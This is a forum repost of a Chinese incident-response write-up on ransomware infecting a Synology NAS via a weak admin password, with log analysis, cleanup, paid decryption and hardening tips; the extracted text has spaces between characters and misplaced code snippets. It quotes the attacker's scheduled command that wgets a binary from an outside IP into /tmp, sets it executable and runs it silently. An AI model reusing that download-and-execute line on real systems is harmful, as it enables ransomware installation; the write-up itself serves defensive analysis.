搜索

[17177] 2021-08-21_记一次群辉中勒索病毒后的应急响应

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-21_记一次群辉中勒索病毒后的应急响应 记 一 次 群 辉 中 勒 索 病 毒 后 的 应 急 响 应 特 m a c 0 x 0 1   F r e e B u f   2 0 2 1 - 0 8 - 2 1 群 晖 是 一 种 N A S （ 网 络 附 属 存 储 ） 系 统 ， 在 生 活 中 主 要 扮 演 个 人 私 有 云 角 色 ， 可 以 将 文 件 存 储 于   N A S ， 并 通 过 网 页 浏 览 器 或 手 机 应 用 程 序 可 实 现 存 储 和 共 享 ， 同 时 还 提 供 的 丰 富 应 用 以 方 便 管 理 应 用 。 借 助 群 晖 提 供 的   Q u i c k C o n n e c t   快 连 服 务 ， 无 需 随 身 携 带 存 储 设 备 ， 即 可 以 随 时 随 地 访 问 N A S 。 因 为 这 些 优 点 ， 群 晖 往 往 被 当 做 是 N A S 的 首 选 。 但 偏 偏 这 次 被 上 勒 索 病 毒 了 ， 通 过 资 料 查 询 发 现 该 病 毒 早 在 2 0 1 9 年 安 全 专 家 就 已 经 分 析 过 并 已 提 供 预 警 信 息 ， 一 旦 感 染 ， 其 中 的 文 件 都 会 被 加 密 ， 并 通 过 留 下 的 文 件 索 要 比 特 币 。 经 过 初 步 判 断 是 通 过 w e b 界 面 的 弱 口 令 进 去 的 ， 之 后 创 建 了 一 个 定 时 任 务 从 美 国 某 个 I P 下 载 文 件 来 执 行 命 令 ， 并 通 过 勒 索 病 毒 对 文 件 进 行 了 加 密 且 暂 时 未 发 现 该 病 毒 有 横 向 行 动 。 本 文 主 要 记 录 群 晖 中 勒 索 病 毒 后 的 应 急 响 应 过 程 。 一 、 攻 击 流 程 一 、 攻 击 流 程 （ 一 ） 获 取 攻 击 目 标 （ 一 ） 获 取 攻 击 目 标 目 标 地 址 为 ， 根 据 资 料 查 询 群 晖 的 默 认 端 口 就 是 5 0 0 0 和 5 0 0 1 ， 那 么 黑 客 应 该 是 有 针 对 性 地 通 过 批 量 扫 描 对 公 网 上 的 I P 地 址 的 5 0 0 0 以 及 5 0 0 1 端 口 进 行 检 测 ， 如 果 扫 描 到 为 群 晖 系 统 ， 那 么 就 记 录 下 来 保 存 结 果 （ 二 ） 实 施 弱 口 令 爆 破 （ 二 ） 实 施 弱 口 令 爆 破 通 过 工 具 对 目 标 站 点 的 默 认 管 理 账 号 a d m i n 进 行 爆 破 ， 通 过 a d m i n / 1 2 3 4 5 6 爆 破 进 入 群 晖 N A S 系 统 ， 并 且 黑 客 采 取 了 动 态 切 换 代 理 I P 的 方 式 来 提 升 我 们 的 溯 源 难 度 。 （ 三 ） 植 入 勒 索 病 毒 （ 三 ） 植 入 勒 索 病 毒 以 a d m i n 登 录 后 便 植 入 了 勒 索 病 毒 ， 加 密 硬 盘 数 据 （ 文 件 类 型 为 e n c r y p t ） 并 留 下 了 比 特 币 支 付 地 址 。 二 、 应 急 流 程 二 、 应 急 流 程 目 标 群 晖 系 统 版 本 的 D S M 为 6 . 2 . 3 - 2 5 4 2 6 ， C P U 为 I N T E L   C e l e r o n   J 3 4 5 5 ， 在 公 网 上 没 有 已 知 漏 洞 存 在 能 够 直 接 进 入 目 标 。 h t t p : / / x . x . x . x : 5 0 0 0
（ 一 ） 修 改 密 码 （ 一 ） 修 改 密 码 既 然 知 道 了 入 侵 源 头 ， 那 么 先 把 弱 口 令 修 改 掉 ， 防 止 黑 客 再 次 通 过 弱 口 令 登 录 ， 可 以 通 过 w e b 系 统 界 面 或 服 务 器 这 两 种 方 式 进 行 修 改 （ （ 1 ） 直 接 修 改 密 码 ） 直 接 修 改 密 码 将 密 码 修 改 为 强 口 令 ， 最 好 启 用 2 步 骤 验 证 来 提 高 安 全 性 （ （ 2 ） 在 服 务 器 中 修 改 ） 在 服 务 器 中 修 改 1 、 在 w e b 界 面 开 启 2 2 端 口 2 、 通 过 s s h 登 录 目 标 群 晖 的 a d m i n 账 户 （ a d m i n 为 群 晖 的 默 认 账 户 ） 3 、 输 入 以 下 命 令 ， 直 接 切 换 为 r o o t 权 限 s u d o   s u   -
4 、 输 入 以 下 命 令 ， 修 改 密 码 为 a d m i n 1 2 3 （ 二 ） 日 志 分 析 （ 二 ） 日 志 分 析 根 据 受 害 公 司 的 反 馈 ， 他 们 是 从 7 月 2 9 日 发 现 文 件 被 加 密 ， 而 到 了 8 月 3 日 才 寻 求 技 术 帮 助 ， 那 么 通 过 群 晖 自 带 的 日 志 中 心 可 以 发 现 在 7 月 2 8 日 晚 上 1 1 点 1 9 分 有 来 自 8 3 . 9 7 . 2 0 . 1 0 3 通 过 登 录 a d m i n 账 号 当 然 溯 源 这 个 I P 并 没 有 什 么 卵 用 ， 因 为 是 海 外 并 已 被 标 记 为 代 理 、 扫 描 地 址 通 过 日 志 查 询 还 发 现 攻 击 者 在 7 月 2 8 日 1 9 分 还 创 建 了 定 时 任 务 s u d o   s u   - s y n o u s e r   - - s e t p w   a d m i n   a d m i n 1 2 3
执 行 的 具 体 命 令 如 下 ， 主 要 功 能 是 进 入 / t m p 目 录 下 将 c r p _ l i n u x _ 3 8 6 文 件 下 载 下 来 并 赋 予 7 7 7 权 限 输 出 为 3 8 6 ， 通 过 n o h u b 永 久 执 行 3 8 6 程 序 且 不 输 出 任 何 信 息 到 终 端 在 微 步 上 查 询 9 8 . 1 4 4 . 5 6 . 4 7 ， 发 现 已 标 识 为 勒 索 程 序 ， 数 据 解 密 的 希 望 已 经 十 分 渺 茫 （ 三 ） 病 毒 查 杀 （ 三 ） 病 毒 查 杀 首 先 先 将 t m p 目 录 下 的 3 8 6 文 件 删 除 （ 但 是 未 保 存 病 毒 原 件 ， 不 能 仔 细 分 析 该 病 毒 ， 比 较 可 惜 ） ， 之 后 主 要 通 过 群 晖 自 带 的 插 件 A n t i v i r u s   E s s e n t i a l 查 看 在 群 晖 中 是 否 留 有 病 毒 （ （ 1 ） 下 载 ） 下 载 A n t i v i r u s   E s s e n t i a l （ （ 2 ） 全 盘 扫 描 ） 全 盘 扫 描 c d   / t m p   & &   w g e t   - - n o - c h e c k - c e r t i f i c a t e   - O   3 8 6   h t t p : / / 9 8 . 1 4 4 . 5 6 . 4 7 / 1 / c r p _ l i n u x _ 3 8 6 ; c h m o d   0 7 7 7   . / 3 8 6 ; n o h u b   . / 3 8 6   - - s y n o = t r u e   < / d e v / n u l l >   / d e v / n u l l   2 > & 1   &
（ （ 3 ） 隔 离 病 毒 ） 隔 离 病 毒 （ 四 ） 数 据 解 密 （ 四 ） 数 据 解 密 这 个 太 有 意 思 了 ， 在 第 一 天 访 谈 之 后 ， 老 板 去 找 了 淘 宝 上 的 店 家 破 解 ， 我 一 开 始 以 为 淘 宝 的 店 家 真 的 那 么 牛 ， 这 种 加 密 的 数 据 都 能 破 解 ， 后 来 访 问 了 暗 网 的 地 址 才 发 现 ， 淘 宝 店 家 直 接 出 钱 买 了 解 密 工 具 ， 直 接 净 赚 x x x x 元 。 复 制 一 个 加 密 文 件 通 过 下 载 的 解 密 程 序 尝 试 进 行 解 密 ， 最 后 成 功 解 密 。 解 密 过 程 如 下 ： 三 、 防 范 方 法 三 、 防 范 方 法 1 、 停 用 默 认 管 理 账 号 a d m i n ， 新 建 一 个 不 同 的 账 号 并 分 配 管 理 权 限 2 、 杜 绝 弱 口 令 ， 设 置 强 口 令 ， 可 参 考 等 保 要 求 中 的 长 度 八 位 以 上 ， 由 数 字 、 字 母 、 特 殊 字 符 构 成 . d e c r y p t o r _ w i n d o w s _ x 8 6 . e x e   - s   C : t e s t
3 、 修 改 默 认 登 录 端 口 ， 可 修 改 如 1 0 0 0 0 + 以 上 的 端 口 4 、 开 启 登 录 失 败 锁 定 ， 对 多 次 登 录 失 败 的 I P 进 行 锁 定 5 、 安 装 安 全 工 具 （ 安 全 顾 问 ） ， 定 期 更 新 补 丁 并 升 级 版 本 6 、 启 用 防 火 墙 ， 配 置 出 入 规 则 7 、 文 件 版 本 回 滚 ， 能 轻 松 将 文 件 还 原 至 感 染 前 的 状 态 ， 可 以 有 效 防 止 因 感 染 勒 索 病 毒 后 文 件 无 法 访 问 的 情 况 8 、 文 件 权 限 控 制 ， 在 分 享 文 件 时 设 置 访 问 密 码 、 有 效 期 等 ， 并 对 文 件 权 限 进 行 控 制 四 、 总 结 四 、 总 结 这 是 我 第 一 次 做 应 急 响 应 工 作 ， 可 能 无 论 是 对 群 辉 系 统 还 是 勒 索 病 毒 都 知 之 甚 少 ， 难 免 会 有 一 些 解 释 不 清 或 认 知 不 足 的 地 方 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理